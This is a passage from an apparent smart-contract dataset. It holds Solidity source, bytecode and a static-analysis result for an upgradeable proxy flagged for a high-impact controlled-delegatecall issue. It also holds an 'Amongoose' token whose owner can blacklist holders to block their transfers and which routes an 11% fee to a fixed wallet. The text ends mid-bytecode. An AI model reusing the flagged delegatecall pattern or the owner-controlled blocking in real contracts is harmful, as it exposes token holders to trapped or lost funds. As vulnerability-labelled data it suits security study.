function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
contract AccountsProxy is InitializableAdminUpgradeabilityProxy {} | 0x6080604052600436106100705760003560e01c80638f2839701161004e5780638f2839701461015e578063cf7a1d7714610191578063d1f5789414610250578063f851a4401461030657610070565b80633659cfe61461007a5780634f1ef286146100ad5780635c60da1b1461012d575b61007861031b565b005b34801561008657600080fd5b506100786004803603602081101561009d57600080fd5b50356001600160a01b0316610335565b610078600480360360408110156100c357600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ee57600080fd5b82018360208201111561010057600080fd5b8035906020019184600183028401116401000000008311171561012257600080fd5b50909250905061036f565b34801561013957600080fd5b5061014261041c565b604080516001600160a01b039092168252519081900360200190f35b34801561016a57600080fd5b506100786004803603602081101561018157600080fd5b50356001600160a01b0316610459565b610078600480360360608110156101a757600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101db57600080fd5b8201836020820111156101ed57600080fd5b8035906020019184600183028401116401000000008311171561020f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610513945050505050565b6100786004803603604081101561026657600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561029157600080fd5b8201836020820111156102a357600080fd5b803590602001918460018302840111640100000000831117156102c557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610599945050505050565b34801561031257600080fd5b506101426106d9565b610323610704565b61033361032e610764565b610789565b565b61033d6107ad565b6001600160a01b0316336001600160a01b031614156103645761035f816107d2565b61036c565b61036c61031b565b50565b6103776107ad565b6001600160a01b0316336001600160a01b0316141561040f57610399836107d2565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146103f6576040519150601f19603f3d011682016040523d82523d6000602084013e6103fb565b606091505b505090508061040957600080fd5b50610417565b61041761031b565b505050565b60006104266107ad565b6001600160a01b0316336001600160a01b0316141561044e57610447610764565b9050610456565b61045661031b565b90565b6104616107ad565b6001600160a01b0316336001600160a01b03161415610364576001600160a01b0381166104bf5760405162461bcd60e51b81526004018080602001828103825260368152602001806108d76036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104e86107ad565b604080516001600160a01b03928316815291841660208301528051918290030190a161035f81610812565b600061051d610764565b6001600160a01b03161461053057600080fd5b61053a8382610599565b604080517232b4b8189c9b1b97383937bc3c9730b236b4b760691b815290519081900360130190207fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036000199091011461059057fe5b61041782610812565b60006105a3610764565b6001600160a01b0316146105b657600080fd5b604080517f656970313936372e70726f78792e696d706c656d656e746174696f6e000000008152905190819003601c0190207f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6000199091011461061657fe5b61061f82610836565b8051156106d5576000826001600160a01b0316826040518082805190602001908083835b602083106106625780518252601f199092019160209182019101610643565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146106c2576040519150601f19603f3d011682016040523d82523d6000602084013e6106c7565b606091505b505090508061041757600080fd5b5050565b60006106e36107ad565b6001600160a01b0316336001600160a01b0316141561044e576104476107ad565b61070c6107ad565b6001600160a01b0316336001600160a01b0316141561075c5760405162461bcd60e51b81526004018080602001828103825260328152602001806108a56032913960400191505060405180910390fd5b610333610333565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156107a8573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6107db81610836565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61083f8161089e565b61087a5760405162461bcd60e51b815260040180806020018281038252603b81526020018061090d603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a265627a7a72315820032edc15a83c10a1c5bd5927bc3d4f29c2fb28bdb2a6a0eb1ce64c127733449064736f6c634300050e0032 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}} | 10,570 |
0xFBbAB38Eeb975F9a9c85009dC74B0B1e929f8769 | /*
________ _____ ______ ________ ________ ________ ________ ________ ________ _______
|\ __ \|\ _ \ _ \|\ __ \|\ ___ \|\ ____\|\ __ \|\ __ \|\ ____\|\ ___ \
\ \ \|\ \ \ \\\__\ \ \ \ \|\ \ \ \\ \ \ \ \___|\ \ \|\ \ \ \|\ \ \ \___|\ \ __/|
\ \ __ \ \ \\|__| \ \ \ \\\ \ \ \\ \ \ \ \ __\ \ \\\ \ \ \\\ \ \_____ \ \ \_|/__
\ \ \ \ \ \ \ \ \ \ \ \\\ \ \ \\ \ \ \ \|\ \ \ \\\ \ \ \\\ \|____|\ \ \ \_|\ \
\ \__\ \__\ \__\ \ \__\ \_______\ \__\\ \__\ \_______\ \_______\ \_______\____\_\ \ \_______\
\|__|\|__|\|__| \|__|\|_______|\|__| \|__|\|_______|\|_______|\|_______|\_________\|_______|
\|_________|
amongoosetoken
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Amongoose is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Amongoose";
string private constant _symbol = "AMONGOOSE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xAd6D32c29d811b1A620C27610947b39293C4D807);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to], "bot");
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {
}
function manualSwapAndSend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
if (contractBalance > 0 && tradingOpen == true) {
swapTokensForEth(contractBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102dd578063b515566a1461031a578063c9567bf914610343578063dd62ed3e1461035a576100f3565b806370a0823114610233578063715018a6146102705780638da5cb5b1461028757806395d89b41146102b2576100f3565b806323b872dd116100c657806323b872dd1461018b578063273123b7146101c8578063313ce567146101f15780633ee0ce021461021c576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610397565b60405161011a91906125bf565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190612143565b6103d4565b60405161015791906125a4565b60405180910390f35b34801561016c57600080fd5b506101756103f2565b6040516101829190612741565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906120f0565b610403565b6040516101bf91906125a4565b60405180910390f35b3480156101d457600080fd5b506101ef60048036038101906101ea9190612056565b6104dc565b005b3480156101fd57600080fd5b506102066105cc565b60405161021391906127b6565b60405180910390f35b34801561022857600080fd5b506102316105d5565b005b34801561023f57600080fd5b5061025a60048036038101906102559190612056565b610691565b6040516102679190612741565b60405180910390f35b34801561027c57600080fd5b506102856106e2565b005b34801561029357600080fd5b5061029c610835565b6040516102a991906124d6565b60405180910390f35b3480156102be57600080fd5b506102c761085e565b6040516102d491906125bf565b60405180910390f35b3480156102e957600080fd5b5061030460048036038101906102ff9190612143565b61089b565b60405161031191906125a4565b60405180910390f35b34801561032657600080fd5b50610341600480360381019061033c9190612183565b6108b9565b005b34801561034f57600080fd5b506103586109e3565b005b34801561036657600080fd5b50610381600480360381019061037c91906120b0565b610f15565b60405161038e9190612741565b60405180910390f35b60606040518060400160405280600981526020017f416d6f6e676f6f73650000000000000000000000000000000000000000000000815250905090565b60006103e86103e1610f9c565b8484610fa4565b6001905092915050565b6000683635c9adc5dea00000905090565b600061041084848461116f565b6104d18461041c610f9c565b6104cc85604051806060016040528060288152602001612e9460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610482610f9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d39092919063ffffffff16565b610fa4565b600190509392505050565b6104e4610f9c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610571576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610568906126a1565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610616610f9c565b73ffffffffffffffffffffffffffffffffffffffff161461063657600080fd5b600061064130610691565b9050600081118015610666575060011515600d60149054906101000a900460ff161515145b156106755761067481611537565b5b6000479050600081111561068d5761068c816117bf565b5b5050565b60006106db600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182b565b9050919050565b6106ea610f9c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076e906126a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f414d4f4e474f4f53450000000000000000000000000000000000000000000000815250905090565b60006108af6108a8610f9c565b848461116f565b6001905092915050565b6108c1610f9c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610945906126a1565b60405180910390fd5b60005b81518110156109df5760016006600084848151811061097357610972612afe565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109d790612a57565b915050610951565b5050565b6109eb610f9c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f906126a1565b60405180910390fd5b600d60149054906101000a900460ff1615610ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abf90612721565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b5830600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000610fa4565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b9e57600080fd5b505afa158015610bb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd69190612083565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3857600080fd5b505afa158015610c4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c709190612083565b6040518363ffffffff1660e01b8152600401610c8d9291906124f1565b602060405180830381600087803b158015610ca757600080fd5b505af1158015610cbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdf9190612083565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d6830610691565b600080610d73610835565b426040518863ffffffff1660e01b8152600401610d9596959493929190612543565b6060604051808303818588803b158015610dae57600080fd5b505af1158015610dc2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610de791906121f9565b5050506001600d60166101000a81548160ff0219169083151502179055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ebf92919061251a565b602060405180830381600087803b158015610ed957600080fd5b505af1158015610eed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1191906121cc565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611014576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100b90612701565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90612621565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111629190612741565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d6906126e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561124f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611246906125e1565b60405180910390fd5b60008111611292576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611289906126c1565b60405180910390fd5b6001600981905550600a80819055506112a9610835565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561131757506112e7610835565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156114c357600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156113c05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f690612661565b60405180910390fd5b600d60159054906101000a900460ff1615801561146a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114825750600d60169054906101000a900460ff165b156114c257600061149230610691565b905060008111156114a7576114a681611537565b5b600047905060008111156114bf576114be476117bf565b5b50505b5b6114ce838383611899565b505050565b600083831115829061151b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151291906125bf565b60405180910390fd5b506000838561152a9190612958565b9050809150509392505050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561156f5761156e612b2d565b5b60405190808252806020026020018201604052801561159d5781602001602082028036833780820191505090505b50905030816000815181106115b5576115b4612afe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561165757600080fd5b505afa15801561166b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168f9190612083565b816001815181106116a3576116a2612afe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061170a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fa4565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161176e95949392919061275c565b600060405180830381600087803b15801561178857600080fd5b505af115801561179c573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611827573d6000803e3d6000fd5b5050565b6000600754821115611872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186990612601565b60405180910390fd5b600061187c6118a9565b905061189181846118d490919063ffffffff16565b915050919050565b6118a483838361191e565b505050565b60008060006118b6611ae9565b915091506118cd81836118d490919063ffffffff16565b9250505090565b600061191683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b4b565b905092915050565b60008060008060008061193087611bae565b95509550955095509550955061198e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6f81611cbe565b611a798483611d7b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ad69190612741565b60405180910390a3505050505050505050565b600080600060075490506000683635c9adc5dea000009050611b1f683635c9adc5dea000006007546118d490919063ffffffff16565b821015611b3e57600754683635c9adc5dea00000935093505050611b47565b81819350935050505b9091565b60008083118290611b92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8991906125bf565b60405180910390fd5b5060008385611ba191906128cd565b9050809150509392505050565b6000806000806000806000806000611bcb8a600954600a54611db5565b9250925092506000611bdb6118a9565b90506000806000611bee8e878787611e4b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611c5883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d3565b905092915050565b6000808284611c6f9190612877565b905083811015611cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cab90612641565b60405180910390fd5b8091505092915050565b6000611cc86118a9565b90506000611cdf8284611ed490919063ffffffff16565b9050611d3381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d9082600754611c1690919063ffffffff16565b600781905550611dab81600854611c6090919063ffffffff16565b6008819055505050565b600080600080611de16064611dd3888a611ed490919063ffffffff16565b6118d490919063ffffffff16565b90506000611e0b6064611dfd888b611ed490919063ffffffff16565b6118d490919063ffffffff16565